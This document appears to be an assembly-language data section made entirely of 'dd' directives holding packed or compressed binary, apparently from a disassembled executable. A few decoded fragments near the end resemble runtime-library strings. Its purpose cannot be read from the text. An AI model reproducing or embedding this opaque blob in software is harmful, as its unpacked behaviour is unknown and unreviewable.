		dd 7CFF73Ch, 43102018h,	189320E5h, 813C00ABh, 17EDFFFFh
		dd 0E2842A28h, 0C3308D12h, 5547DB6Bh, 3F5869E9h, 2851E3EEh
		dd 0BFEA4448h, 0F4FFA5D4h, 9A562E88h, 0DC6983F0h, 0E740CCFCh
		dd 0E96EEFAh, 0F4BFFF8Bh, 0EE9770FFh, 0DCF69DEBh, 27285672h
		dd 8BCC69BCh, 0C9CB1128h, 7ED1E77Fh, 0FFAB0C15h, 47FFFFFFh
		dd 0DCF1143Bh, 0DD5DA22Eh, 0CC635110h, 1668E1C0h, 36C0D62Ch
		dd 880D88B0h, 11401A0Ch, 0ADB666B5h, 74F46FFFh,	27F21BCCh
		dd 79FE22Fh, 0EC658DC7h, 0CA22C03Fh, 0F6FFFF0Ch, 83D8A2FFh
		dd 0B453A8C4h, 0C5B61C90h, 81FC7A4Ah, 83206903h, 807B20Ch
		dd 760D100Ch, 0BF9BE932h, 1814C8FDh, 6200E36h, 24078320h
		dd 300C2C28h, 589D1C34h, 7EDFEDFEh, 3A3C3832h, 0B20D0D40h
		dd 7444012h, 0C8322F48h, 5854504Ch, 9C5BBB0Ch, 5C82605Fh
		dd 70336460h, 78742EC9h, 0FFFF77CBh, 81D8B67Ch,	0A0DFD22h
		dd 92E4B984h, 908C884Bh, 98942E05h, 0C4B9A89Ch,	0A0E0DFC6h
		dd 7584A8A4h, 5E2C3932h, 0FF9D4F46h, 6CBFFFFFh,	4053B84h
		dd 936C8482h, 4C11049Eh, 0DD8C9B2Eh, 115035FAh,	5D7E3F56h
		dd 6022D6C8h, 0FF52DD40h, 851054FFh, 11B2172Ch,	0C85C1458h
		dd 18CB2176h, 0F64A860h, 0FC5BF05Ch, 6C24965Bh,	85AB3A13h
		dd 1D8535Fh, 0AD007A85h, 0BBDFFFFEh, 0EAD8970Ah, 3C2968Ah
		dd 0F1EB97ABh, 32015DAh, 8317FFD7h, 0FFF46F62h,	0A5632CFFh
		dd 0A3C61A9Eh, 0AAB5EE73h, 0B2F7B451h, 60700C48h, 89B80A51h
		dd 0FADD4B4Bh, 3228CDFFh, 253A02E3h, 6EEDD0B1h,	6163342Eh
		dd 0F43B6808h, 1DFF85FFh, 4344B74Bh, 19B841E5h,	0A35B03EAh
		dd 57F91AD8h, 751A3304h, 0A97FFF5Bh, 0D2D55D6Fh, 93C488Bh
		dd 102E0D1h, 0B407DAE7h, 183D43C3h, 0FE05FE8Fh,	0EE468BFFh
		dd 0E75CEB67h, 17DC3480h, 8B66A402h, 7CD3CD6Fh,	0C5C6CE5Fh
		dd 85FFFC4Bh, 88EB029Bh, 66C08DACh, 0D877DF8Dh,	0B33AB6CDh
		dd 0D6FFC1F1h, 0D9FF54FFh, 46204BC5h, 386A7452h, 91F89932h
		dd 0D0CB0468h, 0FFF56EFCh, 81121EBFh, 8B07A453h, 1B051AAEh
		dd 0BBCB00Ah, 0BFA6CB41h, 1BFF3402h, 6D45A5FFh,	1E5D2B54h
		dd 9E80D86Eh, 0D05356A8h, 1915B08Bh, 0BFFFF22h,	8DFBEFDh
		dd 0C811C859h, 0ACC4D13h, 155720CEh, 8A5F4F59h,	0B6887C0Fh
		dd 0FFC6C5B7h, 1D8BA35Bh, 0D4177484h, 0E75E8345h, 0E3C07281h
		dd 0FCBFFFFFh, 4B0E912Fh, 85464512h, 62815A00h,	0AF801133h
		dd 0AC3FD4C3h, 19642FD8h, 0FFD0BF6Dh, 3B4659BFh, 815B7EF7h
		dd 365395FEh, 190F9060h, 2D38E32Fh, 0FFD6B80Eh,	8C4BFFFh
		dd 516C44F3h, 4700D40Fh, 3909C31Bh, 0AA4AFA09h,	4C77533h
		dd 0FF011AA6h, 84114BC2h, 0C81D02D0h, 0E47136B8h, 1B1DCC25h
		dd 2FFFFFFh, 4E0B56B9h,	0D46F1AFDh, 0CCB97FACh,	680FDF3Bh
		dd 64E0531Ch, 3321EE83h, 0FFFFFFB7h, 0BC6068FFh, 1B8ADDB6h
		dd 0D44D5BEBh, 992C11EEh, 0CA230A81h, 466E8F25h, 56FB54B4h
		dd 0B5D68A23h, 37FFFF32h, 7F655FEh, 46245022h, 0C4165BE4h
		dd 8B5AEFE0h, 0EB5161A2h
		dd 6EF4845Dh, 0D0312D10h, 0C2FFFC6Fh, 2C9E0189h, 0F803A050h
		dd 76C0B499h, 513F281Ch, 0BF2BCC8Dh, 91BE2DF4h,	372A37F1h
		dd 0BC91B50h, 9903A0C1h, 0DF1CBC6Ch, 15FFFFE2h,	38599F07h
		dd 97622E4h, 7B77F8E3h,	0EB8C9A18h, 0A37F2A0Dh,	0FF455960h
		dd 29FFFFA5h, 6069884h,	0D7F0A2DEh, 71FC4AEBh, 0CC8BA83Dh
		dd 229458DBh, 0BD01D126h, 0FFFFD513h, 1B16ADFFh, 33348F7Ch
		dd 86CFCE55h, 0A84542EAh, 48BBEB5h, 1C2FC1CAh, 0BF30C1B8h
		dd 79BFFFC0h, 0F2EDFD20h, 72B5A001h, 49D05FC0h,	8050A0E8h
		dd 70E0B571h, 0FFA97F0Ch, 56E50AFFh, 4251EF99h,	2B03D05h
		dd 8BC6832Ah, 0B774AB54h, 7C9E00ACh, 817FFFAAh,	0C70159FFh
		dd 2172937Eh, 0B7FF8929h, 9C90EAAh, 0F958C8EBh,	1ECE8205h
		dd 0FFFFFFEAh, 8D1C8DFFh, 8B96F0FCh, 174B1B65h,	0CA314C33h
		dd 402681E1h, 8825510h,	0E192EE7Ch, 0D95BD9B7h,	0FFFFFFBDh
		dd 0F9839FFh, 82CAF603h, 18B4481h, 83A16113h, 0AA2C9728h
		dd 0BB550478h, 6C058385h, 835F4D1Ah, 0F8171B4Dh, 49CCDFFh
		dd 1E941430h, 93670AACh, 6A442CA8h, 0D69B3F44h,	5FFFFADFh
		dd 2859D9C5h, 594FAE8h,	0E6B90DDCh, 0A6052446h,	0EF28B539h
		dd 0FFFFFFFAh, 6DD85883h, 75A0339Ch, 9D2A36Ch, 7F15B138h
		dd 163E7027h, 0A730E848h, 20B58B2Ah, 17F837Fh, 742AEED9h
		dd 12E383DEh, 52237FCDh, 0FC576AFDh, 8DFE85FFh,	0C32C653Ch
		dd 0C9BC488Ah, 0E8D6F8D6h, 0C80F9D0h, 4D8890F4h, 0FFFFFFABh
		dd 0F843390Bh, 8B45ABB7h, 0D1F7798Dh, 403BC1F6h, 8D6B0ADFh
		dd 2BBA696Ch, 0FF3C1472h, 0EFFFF0BFh, 7AFE870Fh, 29C26F40h
		dd 96C67F08h, 85F637D8h, 0D0200355h, 0CB66059h,	0FFFFFFE9h
		dd 0C46C2DFFh, 0A212C552h, 36848648h, 0B66DBD1Ah, 34FF2050h
		dd 246BAE03h, 45B30384h, 0CC99C028h, 0BFFFFF56h, 0CF41A8F5h
		dd 6DEA16C0h, 28358D9Fh, 0BD03B065h, 2B451BA4h,	3D1FB334h
		dd 0EA820F39h, 12FFFC4Bh, 0FF86C50Dh, 127651Ah,	430EFB73h
		dd 84AB228Ch, 2FFF8541h, 0CB5A5A55h, 0A3CE583h,	4ACBF660h
		dd 886825CDh, 0FFFFFF15h, 1A017DFFh, 51146EAEh,	0A1AC79DAh
		dd 7ED0BFBAh, 6545B761h, 30EB45AFh, 0C62B9CB6h,	666B8503h
		dd 0FFC6EB73h, 7D62F4FFh, 2DDD995Bh, 2B980B88h,	0A4459C81h
		dd 77C6EE00h, 0FF978D82h, 0B97FD4BFh, 94A059B7h, 6D75AC1Ch
		dd 0AC6F99Bh, 4F324566h, 0B36C0049h, 0FE2DFF77h, 18B06BFFh
		dd 0F62E858Dh, 45B864F4h, 20258374h, 0B9A0458Ah, 0E95EF8B5h
		dd 25FFFF0Fh, 0D4208CFEh, 9F38497Dh, 0DCC3BD2h,	8C6395Fh
		dd 0D6D0400Dh, 2E409DEh, 0EDFFC432h, 0E33C40FFh, 1C02B5BEh
		dd 0EB4AE161h, 8ADF0197h, 284085Ah, 830EB7DEh, 180BFFFFh
		dd 66A9437Bh, 46C210FAh, 0FB9F8346h, 0B5C36C18h, 2F74A3ACh
		dd 227A97FCh, 0D9B40339h, 66FBACA7h, 4459EF3Bh,	6F58DE05h
		dd 606FAB71h, 0C2641E85h, 4443BC3Fh, 4BDBD374h,	8FEDA97h
		dd 308B68DDh, 79FE5339h, 6C8F1D9Dh, 0BFFF5262h,	801D67F5h
		dd 0A1D0A3D8h, 0CE4B9CF1h, 861C2DD8h, 5E9139DBh, 0A97FFFFFh
		dd 0DC6365D0h, 4D20F87Eh, 4D2BC3B0h, 3BB4E99Ch,	0FAB57388h
		dd 0FF27A5B7h, 41FFF52Fh, 8AB05DB0h, 0FA804112h, 30E02E0Ah
		dd 0F2C668D6h, 10885A40h, 0E17D8105h, 0A4FFFFFFh, 0FC2BB0F3h
		dd 60D17236h, 5DF02B33h, 2479E494h, 0CA5A0B34h,	6B6C9401h
		dd 0FF451578h, 2B7FFFF6h, 0B2B73B92h, 0CC46B175h, 9A029DB0h
		dd 916B099Dh, 98BB1A17h, 9A585E57h, 0FED82531h,	530283EDh
		dd 699C414Eh, 0D65EDE1h, 0FF06660Bh, 40FF46EDh,	558B5D40h
		dd 0DEC1A39Bh, 9DFF1089h, 84C9C7A2h, 0FA27254Ch, 22C0BFFFh
		dd 5708C9C3h, 0C39CFF77h, 0A496469Dh, 9E15A42Dh, 1F60CA6h
		dd 0DFFFFFE9h, 2CA45EA9h, 0B725EC6Ch, 0A4CAA0A4h, 0AA3CE03h
		dd 0DCE6859Fh, 11C60376h, 5EDFF825h, 0C3D7A062h, 52C882A6h
		dd 68D1CC01h, 0D7E287ABh, 5F802DFFh, 108CA56h, 56D54A06h
		dd 0AB04AF6Ah, 176D1DA3h, 0A0FFFFFEh, 0D0AAAE19h, 0BD797431h
		dd 0CB98352Fh, 8D502F3Eh, 2C353584h, 90C4B16Bh,	0FFFFFF42h
		dd 0B7C1D6FFh, 57351C85h, 0D47F2B94h, 5B2409EBh, 414898E7h
		dd 0A4DA470Eh, 0B6D992B4h, 36DDA012h, 0BFFFA57Ch, 8CBD51C4h
		dd 0E094831Bh, 30FF9C8Bh, 930C22E7h, 0FF330C47h, 2CFFEB76h
		dd 3016C5D0h, 0F0A0144Ah, 0C0462256h, 81013D6Dh, 5E6E6B82h
		dd 0FFF16F07h, 0CEA28CFFh, 0EBC660FAh, 27BAD52Bh, 0E0434089h
		dd 9C4EFF00h, 0CF708480h, 897FFF62h, 92687BFFh,	341301Ch
		dd 0D83698A0h, 9A8DF708h, 24DC0EE4h, 0DE0D1867h, 41BFFF10h
		dd 0B929688Bh, 2E1BD530h, 46E07642h, 0C9A6B2D4h, 0C4BFDB5Ch
		dd 48BC19FFh, 16AEBF74h, 0A01EB90Fh, 5A314ACh, 0CB8B5016h
		dd 2C6FFFA8h, 617FEF4h,	99B2F2E7h, 0CA2A3DFFh, 7477D352h
		dd 0B79D4C2Ah, 0D4BFFEh, 0BFBF9205h, 0D2043954h, 0C7080C49h
		dd 11FB1841h, 4BE8DF15h, 75B738FCh, 3BA1040Ch, 0DE08D112h
		dd 61830947h, 0FF06FF04h, 0C05452FFh, 14F80E1Eh, 0C24C810Eh
		dd 6A51C221h, 1C80BD08h, 0D095718h, 0FFF8B731h,	9987A2FFh
		dd 8B0931C8h, 916E50ADh, 144FF0Ch, 0CD421BF7h, 3EA3D5DDh
		dd 0FFFFFFC3h, 14A0A1FFh, 57ED799Ch, 5E14E251h,	6EB2E21h
		dd 0B6FC535Dh, 0A38C7D80h, 0AF046A19h, 66E08B9Ah, 5D2FE094h
		dd 88A3DFFAh, 85882A7Dh, 1B3543BDh, 40B78218h, 5FD6A37Fh
		dd 0B91B1A00h, 0FF542A57h, 20C8991h, 0ED237DFCh, 0B8FFFFFFh
		dd 10F94283h, 6AEAE46Eh, 84025EFEh, 0A021D8A1h,	0B68CEE6Bh
		dd 93859684h, 0FFCCC2FFh, 0ABFFFFD2h, 7C11CDAh,	0EFC6DB7Ah
		dd 0C0B75B9Bh, 423E315Ah, 5FCE2E3Ch, 7B9BE020h,	0FFFFFFD2h
		dd 804E75FFh, 3372803Dh, 39707F7Ah, 35FFE74Ch, 0D16E166Bh
		dd 0DB8E008Bh, 2227266h, 1CA6B711h, 0C5BC0B6Dh,	1A7709FFh
		dd 6E81FAD8h, 674D0E8Fh, 0F54E81EBh, 0FFFFFF2Ah, 0CA2180C2h
		dd 1E562024h, 9C405984h, 167D1470h, 80150628h, 0BD12130Ah
		dd 7FC9AED9h, 81FFFF8Bh, 351E2B48h, 0ECD8BC15h,	2D2E5020h
		dd 1E3635ECh, 673D1EE1h, 0FF608117h, 3EFC6FFFh,	0A076157Fh
		dd 44D3BD99h, 2FDF35C0h, 0E23473A0h, 7D4B14F9h,	0B05ECAC4h
		dd 0DF46F412h, 29962EE2h, 565255F9h, 1ADC050h, 5C2FFF65h
		dd 0CA21C468h, 50F7FB1h, 98C67964h, 0F3050980h,	0FFD2FFC2h
		dd 46C09716h, 85F5F358h, 2ADF4518h, 170D76FBh, 9782B65Fh
		dd 0B3FAB7FEh, 7FB918A6h, 7981AFC2h, 0D139B148h, 53737690h
		dd 0DFC0A2A2h, 725C16E8h, 55E15294h, 7FACBE0Eh,	0DFC406FFh
		dd 0A85E03Ah, 4E5A32BAh, 0C42DDB55h, 0FF5C3676h, 0FFFFFFFh
		dd 76570B62h, 868A92D8h, 0C0AC82Fh, 38C54C21h, 296C1242h
		dd 35E457BAh, 7928B32Eh, 0FF8C1474h, 6506FFFFh,	676C8153h
		dd 0B50C9AEFh, 0B506888Bh, 0C0015606h, 1FCE02DCh, 0FFBC30FBh
		dd 23FFFE97h, 6DF572A3h, 510CA75Eh, 0E2545753h,	4C3EB026h
		dd 7904A35Dh, 0E8AD6D53h, 0FFFFF138h, 0BAD114FFh, 0C5201D62h
		dd 0CB48B7A5h, 0EB70BD74h, 83AF54B9h, 197ADB30h, 76BE248h
		dd 0BFFEDFC1h, 0FFB4151h, 60D26386h, 2C3766EEh,	0B5ABB709h
		dd 0FF00D13Ch, 0CFFB7FFh, 0C5567056h, 0D1E3620Bh, 10F528E6h
		dd 0FBF7FC4Bh, 0D82060CEh, 8BF007FCh, 0FF64F7C3h, 17FEA5FFh
		dd 0A15FEEBAh, 0D13057C8h, 5C0B47EBh, 0FED75429h, 0D12357FFh
		dd 0FFDBD1E9h, 0D1FFFFFFh
		dd 0BD8D1EAh, 0F7F475C9h, 0EE252FF3h, 145D2EDEh, 0E6F74421h
		dd 3B0E722Dh, 72087727h, 0F8DEEB52h, 15E25C6Fh,	4E212B6Eh
		dd 0F9128E2Bh, 0DD37416Dh, 0B81709DBh, 0F79C97F0h, 54DA30DAh
		dd 0CA566AADh, 0FFD98B05h, 67FADFFFh, 4274C25Eh, 8857976h
		dd 0A5115FE1h, 558AF4FFh, 1548414h, 1234E11Dh, 0FFFF026Ah
		dd 546075FFh, 32FD2397h, 77013014h, 2188AC54h, 4F04A0A3h
		dd 5A8ECC0Ah, 75BF6205h, 3751FFA9h, 0B1FC8860h,	0CFAA414Ah
		dd 4B69076h, 0FEE06AEFh, 58FFFFFFh, 431B11FFh, 35231F75h
		dd 0CBA4192h, 1B4B8A7h,	0FCDF6EDh, 0F1954DAFh, 3A9A689h
		dd 2FFE0E01h, 3A318094h, 90176221h, 4B0F6977h, 0FF8531F0h
		dd 0C3840DFFh, 4425050Bh, 3784117Ch, 5195F23h, 0B875E2B8h
		dd 0E25FFFD9h, 0DBA2BFFh, 11A94768h, 618C571Eh,	75100DABh
		dd 12BF5661h, 0A7215D01h, 0BFFFFF14h, 6F04CF0h,	7233C163h
		dd 0BB8D1067h, 0F58A2459h, 0F1B7B3C2h, 6A611086h, 564D69E7h
		dd 0AFFFFFFh, 3EEB11EFh, 23A5270Dh, 431108EFh, 7C577F20h
		dd 0A3F41D7Eh, 0EF357870h, 0FFFAA8D6h, 641D6815h, 0F9F37B1Ch
		dd 5C3D6035h, 702F7D6Fh, 7C0DFF89h, 8E472391h, 2519581Dh
		dd 0CDE61F50h, 8DA97F2Dh, 805C4CAAh, 0D40774AEh, 517BBE7Eh
		dd 4F551D5h, 550F78A3h,	0FFFFF884h, 0DAAC51BFh,	1402CCDBh
		dd 1CA10177h, 0CD06DB29h, 68130DE6h, 1DC07309h,	13EED6Ch
		dd 0D551BE97h, 0A1323E08h, 8CBDDB54h, 0D8DFFF0Ah, 346BDCF8h
		dd 32FA8DB8h, 0BA606A56h, 68DF049Fh, 0A40F35Ch,	0FFB7FE44h
		dd 888593FFh, 209FAFh, 25010178h, 409C858h, 2335E691h
		dd 0F4C655C5h, 0CC2F3BC9h, 2DFFFFEAh, 5DC88038h, 91C10F70h
		dd 12327705h, 0B252F648h, 2877FC80h, 297FFF45h,	0CA020320h
		dd 5224E00Dh, 13DBAFEh,	0A4C8DC9Fh, 755BFFA8h, 487F5055h
		dd 0FC762E08h, 460043C9h, 0C37FFFD4h, 0A3939810h, 97CB3D28h
		dd 3A6A8DB7h, 0F6062C93h, 0AB42FE17h, 4289DC9h,	89B33D3Dh
		dd 6C6821BEh, 0CAFFFFF4h, 3FB37C3Eh, 0C8E08459h, 40B34417h
		dd 1AF01208h, 6AB73C82h, 0FFD446ECh, 0CF407B16h, 1B0F8B64h
		dd 0DB7BD51Bh, 0FFD4477Fh, 0B151FA83h, 2BDD8952h, 0DA34D9F1h
		dd 1FBB51A6h, 0FD446409h, 0F60BA8FFh, 44080BEBh, 0BFF88B0Ch
		dd 0CB078550h, 0FFFED4BEh, 3401A005h, 0A46E13F6h, 0AA040888h
		dd 0A10E96A1h, 10566E20h, 8DFE0DFFh, 0A42AB43h,	5170158Fh
		dd 0D43E73EEh, 0FB345B28h, 0FFD0BD0Ah, 225980FFh, 2143A028h
		dd 61D08A4Ah, 88A7688Ah, 6C9013D3h, 0FE15D25Fh,	0E146FFFh
		dd 2768AC8h, 0CDCCABB0h, 2C3CB10Dh, 0C338C4B8h,	0FFFF04B9h
		dd 3A3AA506h, 23D06CD9h, 4B11C4DDh, 25E06Fh, 0BFC8ACF0h
		dd 72FFFFF1h, 94A88B0Ah, 2FA1E16Ah, 0C32404D2h,	5985652Dh
		dd 740FADE9h, 3B5B7C21h, 0FFFF810Dh, 53733BFFh,	89C125Fh
		dd 0D8AF1746h, 4F475013h, 0E40F6C6h, 0E0DAA35h,	6EFB4506h
		dd 1D7EB7FFh, 0B796232Bh, 404910BFh, 53137549h,	0A5EBF46Ah
		dd 0FFFFEBF5h, 0C45785FFh, 0CAA59C5Bh, 60CB7E8h, 653406FFh
		dd 2D154CD4h, 0A3021618h, 0BACD2849h, 17F897D0h, 8327A1E2h
		dd 1A7322D8h, 2BDF7ABAh, 37FFC2D2h, 24759648h, 0CA45C0BCh
		dd 0CD1309E2h, 9B6960B4h, 0FFFFFFFFh, 8180C7BDh, 0F7673C55h
		dd 54B1B42Ah, 5EE82693h, 0F8A9368Bh, 0F2B5196h,	8185A61Ah
		dd 56882902h, 83FFFA17h, 4A04BC4Ah, 0D0BD4DA9h,	58A13147h
		dd 87CF5CAAh, 0FFFFFC2Fh, 38CC187Ah, 3C50290Ch,	671E92D7h
		dd 0B6CF6587h, 0E56C61B2h, 64913337h, 0FFFFFF04h, 0E5A8328Dh
		dd 0D50D8EC2h, 74B7E035h, 6F54964Eh, 0B1FBC00h,	0CD0B054Dh
		dd 0FF380CA1h, 0B8FF4BFFh, 6B67700h, 0EB010D66h, 0EEA046DAh
		dd 51084617h, 67D1F44Bh, 0D7F5493Bh, 0FFFC6F33h, 75023BFFh
		dd 89D03BDBh, 0AAD40C4Fh, 0EAF24310h, 0E004A8E9h, 0FA0F5032h
		dd 0DE9D3DE8h, 0BDFE2DF8h, 885C0D68h, 0A37E8059h, 52F05556h
		dd 0E2EC8330h, 97FFFFFFh, 0F98E182Ch, 545E6A08h, 6BB302BCh
		dd 385E5244h, 0E39CF424h, 2D137480h, 0E10E7410h, 68FB7FFFh
		dd 0B088DA10h, 16426607h, 82743Ah, 0C5161457h, 2220C4ACh
		dd 0FFCB04F9h, 0ED7FFFFFh, 8260EB6h, 0D0073656h, 0ACCA6A54h
		dd 0EE42061Ah, 7DC90832h, 0FE251939h, 0B9ACC44Fh, 5E05FF01h
		dd 39257EE0h, 71207CCAh, 726FA144h, 0C2950F08h,	0BFFFFB8h
		dd 9E60CFDh, 0D577B9CDh, 2DBBE184h, 0B43D2487h,	323BB1F1h
		dd 5E382072h, 0FFFFFFF4h, 809B1BFFh, 0E859E591h, 4D654F0Fh
		dd 80B03161h, 0C6E3BED0h, 5AC7338Ch, 941E70CCh,	5A50C069h
		dd 0F85FF12Ch, 82B0B1FFh, 3A376D4Bh, 7523618h, 3A6BA9Dh
		dd 0BB23C862h, 0FFBDBE31h, 622FFFFFh, 0A3252D50h, 8D3FEA45h
		dd 0FC685FFFh, 3BEE02EAh, 577D753Dh, 3558A5C3h,	835E7F2Ah
		dd 0A8A5FFFFh, 39F1A066h, 0EB447418h, 5F1183A7h, 874D0FDh
		dd 0FF488BC5h, 37FFC0Bh, 5DEC46D4h, 7C14FF2Ah, 7C912628h
		dd 569CCF04h, 65B113Ch,	0FFFFFF32h, 66ACFEFFh, 61CA52Eh
		dd 0D39EEB47h, 0F192C410h, 84B17DC0h, 0EAF011C3h, 0B1435782h
		dd 7B452FC2h, 7FF42F80h, 0F3DFE189h, 0A9663F75h, 2A5F3108h
		dd 8145B6Eh, 85FFFF93h,	6E2B3EFEh, 50572C7Eh, 0BC0118C4h
		dd 0DDE38C59h, 0B4921D06h, 0C084360Fh, 52B7FF79h, 0EBEA0FFFh
		dd 0FD76E021h, 0CBABC389h, 80582814h, 6683385Dh, 0FEA5FDE9h
		dd 0EA306FFh, 47749946h, 8F590975h, 0C1B33E2Ah,	15A68653h
		dd 0F548808Eh, 2D1BE2DFh, 46D9BF0Ah, 0C661623Ah, 8E41F507h
		dd 0F8DFFFE6h, 441B2D2Fh, 0D82909B1h, 0DC1E702Eh, 62B616C0h
		dd 75840E42h, 0FE7F3544h, 0CCEB7837h, 0B34F7D41h, 39B58DFCh
		dd 3B457438h, 445E841Bh, 0B78B7FF5h, 20566BCEh,	0E91302A7h
		dd 1BB7AD3Fh, 17E6B0C4h, 6E2FFFFEh, 55392F1Eh, 0C8CDD217h
		dd 0C0681187h, 19EB1EE8h, 144FD539h, 0FFFFF88Dh, 7690BDC6h
		dd 808DDCFFh, 75DC4541h, 0EB46CCCCh, 0C20D8D84h, 7CE01A43h
		dd 17FFFFFFh, 2F45CFA6h, 74F510A1h, 50B2FBC1h, 1CF6C30h
		dd 0DC7DBC78h, 42F0EB30h, 5B111308h, 34F0B85Dh,	0EAB46348h
		dd 47FFECBDh, 0F65DB85Dh, 1CFFFFFFh, 22C30CFh, 2C4628C4h
		dd 9E2D52A7h, 8013415Ah, 8DF4426Ah, 0B44C76DAh,	0E2BA34C4h
		dd 0FFFFFFFFh, 6F76B5BDh, 0C97C0204h, 957F2405h, 1E8A5356h
		dd 11DAA841h, 0E017E7Fh, 0A599AB55h, 0F4EC6A17h, 86FFFFE5h
		dd 75518C1Bh, 17EC1142h, 550B2A91h, 42EE18CEh, 8A05BEB7h
		dd 0FF834B1Fh, 0FB23BD5Bh, 70A28A2Dh, 18EA0585h, 2BD8EB02h
		dd 0F5BF2B0Ah, 0D882637Fh, 498C031Fh, 3E65D657h, 247984F6h
		dd 9D378F0Fh, 0FE0DFFFFh, 0CDFF282Ah, 0F730EAA5h, 8A340A14h
		dd 74783C07h, 0DB583C0Dh, 12633DD3h, 0A97FFFFFh, 0A10A308h
		dd 632F1036h, 2E8406BBh, 4250E75h, 0C8470475h, 627DE394h
		dd 0FFF4BFFDh, 652A8EB1h, 6A970Bh, 0CB9CB9Fh, 0AAD80431h
		dd 9574A5FEh, 0E983CBBEh, 0BFFFFC1Bh, 3851ADDh,	0DFC6DDB4h
		dd 0CB8A31B1h, 0C161E980h, 3771619h, 5FFF54CDh,	6FF7F028h
		dd 2B51C18Ch, 8B11973h,	405E7216h, 4F27B7DDh, 0FFFF817Fh
		dd 2176CA3Bh, 0B75F040Eh, 6382DD11h, 207A4F18h,	86C4B30Dh
		dd 0A00C7D9Fh, 0FF897E97h, 0C08B5CEBh, 752FD33Fh, 0D9031EAFh
		dd 598CF7A3h, 0FFA9DBBEh, 6C2FFFFh, 1B754077h, 103EA7A8h
		dd 8881BD02h, 480AEEE8h
		dd 9778093h, 0A9042CE2h, 7FFFFF83h, 27760E17h, 150F69Dh
		dd 8C32342h, 592774B5h,	0C44E954Bh, 0B3118ADBh,	7FFFD1BFh
		dd 73D637F6h, 53522D0Dh, 2A38D132h, 8426A247h, 0BE61F7F1h
		dd 0BFF158Bh, 0E12FFFCh, 23187B5Bh, 5D55D930h, 2A0E438Eh
		dd 1087A5DBh, 0D850DB0Dh, 85FF0775h, 0E322C5BFh, 6869A137h
		dd 0F50DC2BEh, 0AF814081h, 3E06F55Ch, 0A944BFFFh, 74AF77EFh
		dd 770B494Dh, 0B7E9DFD5h, 0B65AB341h, 0FFEDE85Fh, 0A266720h
		dd 1B746FE4h, 6BAAD950h, 7A3A2623h, 72E7FFEEh, 0FFF6FFFFh
		dd 77E33A06h, 3AE60202h, 0C6C309C7h, 0C10B7512h, 0B3A06ED6h
		dd 0AC933D1h, 62A6B9FEh, 0FFE8DC1Bh, 7250378Bh,	61D9F702h
		dd 0C001EB5Bh, 423EE741h, 0A37FF06Fh, 68F5DA1Eh, 0A34633A4h
		dd 0F830E20h, 4556C72Eh, 0F5BF85FFh, 73AC6298h,	4ACD970Eh
		dd 31D67A34h, 0B5705E11h, 6292582Ah, 0FFFFFFF0h, 8FF4D4Bh
		dd 0B1CF6E9h, 0F642EBC3h, 0AC37DC46h, 5059B6A7h, 8168D836h
		dd 55FBB046h, 28DE8DFFh, 57D1D02h, 8A0CB849h, 4B7F0725h
		dd 0FFFF990Ah, 55E2FFFFh, 1C7E1DB4h, 207F0C02h,	51F90C53h
		dd 4ABB0398h, 75C50D9Ah, 86820CF7h, 31856BC0h, 0FFC05C4Bh
		dd 0F804FFFFh, 2F80C6BDh, 19C5099Ah, 0DB98E2A7h, 0D533C526h
		dd 5999245Eh, 0BB213159h, 0BE0237C1h, 24134AEEh, 0D8C6B548h
		dd 0F6FF1B3Fh, 3035BFFFh, 9002636Ah, 1D58AD91h,	931C3CD0h
		dd 0E0F9967h, 0B4C39516h, 406EC2Bh, 0FFFFE0D0h,	27403E35h
		dd 59FC3C5Dh, 870BF852h, 4398190Eh, 0CF0A1904h,	6FFFFFFFh
		dd 1D591970h, 18AC0FB1h, 0C6319E58h, 62ACD0DEh,	0AF066F25h
		dd 7EC60C36h, 680A01C8h, 16FFFFFFh, 0F722A13Dh,	553B3E1h
		dd 2CC16D98h, 9030236h,	3770311Ah, 1A5BD386h, 0F5BFAB7Fh
		dd 7D5BB537h, 4D4D9A0Ah, 9C7601C1h, 82D7A1BDh, 5B1A71F6h
		dd 8F01FFFCh, 0B6AF02FEh, 0A1D35A8h, 3D169Eh, 0FA25707Eh
		dd 0E70D5BFFh, 6EC9930Ah, 561C7469h, 0AA0A4CD7h, 0FF0548B1h
		dd 92B7FFFFh, 6A10747h,	0E3E8AECBh, 8DA0C659h, 5A3740AAh
		dd 3883D057h, 0B4E618C4h, 7FFF8721h, 3640FFA9h,	0C84AD8D9h
		dd 0AD78FC71h, 20C7660Eh, 100FEB62h, 98214E40h,	0D0BF77C8h
		dd 0E4B0FFFFh, 8A608828h, 41FA1E41h, 74042E0Ah,	6681AB1Ah
		dd 4A00FB58h, 46FC0185h, 0CD2CFFFFh, 2D6D3085h,	930402BFh
		dd 42D13DBEh, 0DDBF08C5h, 24F43D14h, 4BFFFFFFh,	46ACD94Dh
		dd 78614356h, 0FD3B2156h, 0EF118B72h, 55D4AAB2h, 0A9455800h
		dd 0BF466A60h, 0AB4CB7FDh, 14234404h, 451E886Bh, 60E400D4h
		dd 0E896972Eh, 0F3F816DFh, 0ED037F39h, 0F6C3FA44h, 73AA5A12h
		dd 0FC0BB499h, 0BD406DFh, 0E84AFFFFh, 4317C413h, 0BE78459Bh
		dd 6FFFB7FFh, 65636F01h, 0E8DF7373h, 6D116F2Fh,	2E650A73h
		dd 586C6C64h, 69746E75h, 0FFC0BFFFh, 0FB7052D5h, 6520656Dh
		dd 0F4AA1D72h, 0ACDFF20Ah, 4C5414BCh, 0E114Fh, 0FFFFFFFFh
		dd 474E4953h, 2DED65Fh,	414D4F7Bh, 36521112h, 0FFB6DF30h
		dd 83433DBh, 61206E41h,	696C7070h, 0FFFFFFFFh, 6F516163h
		dd 7361680Bh, 0BBE85F20h, 64616DEDh, 7417615Ah,	706D6574h
		dd 206F74DFh, 0B6EC366Ch, 0FD0BFFD4h, 7136FB5h,	7B661668h
		dd 0B9BFF632h, 617262FFh, 0A17F7972h, 97E652FFh, 6C746398h
		dd 540A2E79h, 0AF604065h, 0F4BAB5BCh, 111BDA0Dh, 9B5D1383h
		dd 5B46ED6Bh, 0FFFFFF73h, 192EE55Fh, 9D636D27h,	6620DD73h
		dd 43D46DBCh, 2E236D0Ah, 66CE5ECBh, 2D339FADh, 0FFFF4120h
		dd 6D86FFFFh, 75BADB9Dh, 4CD84D5Bh, 0C966A260h,	0B5BB7D6Dh
		dd 556962D6h, 626D1873h, 75642080h, 0FE256D72h,	0D7DFF8B7h
		dd 77674BBDh, 6486764Ah, 610C695Bh, 6C2F207Dh, 82B2FFF4h
		dd 2F540A7Ah, 65926413h, 39F0D607h, 0F677591h, 0FFFE37FFh
		dd 3A6F7920h, 0EEDC2EABh, 4920DAE6h, 0F69F2A72h, 5D656BEBh
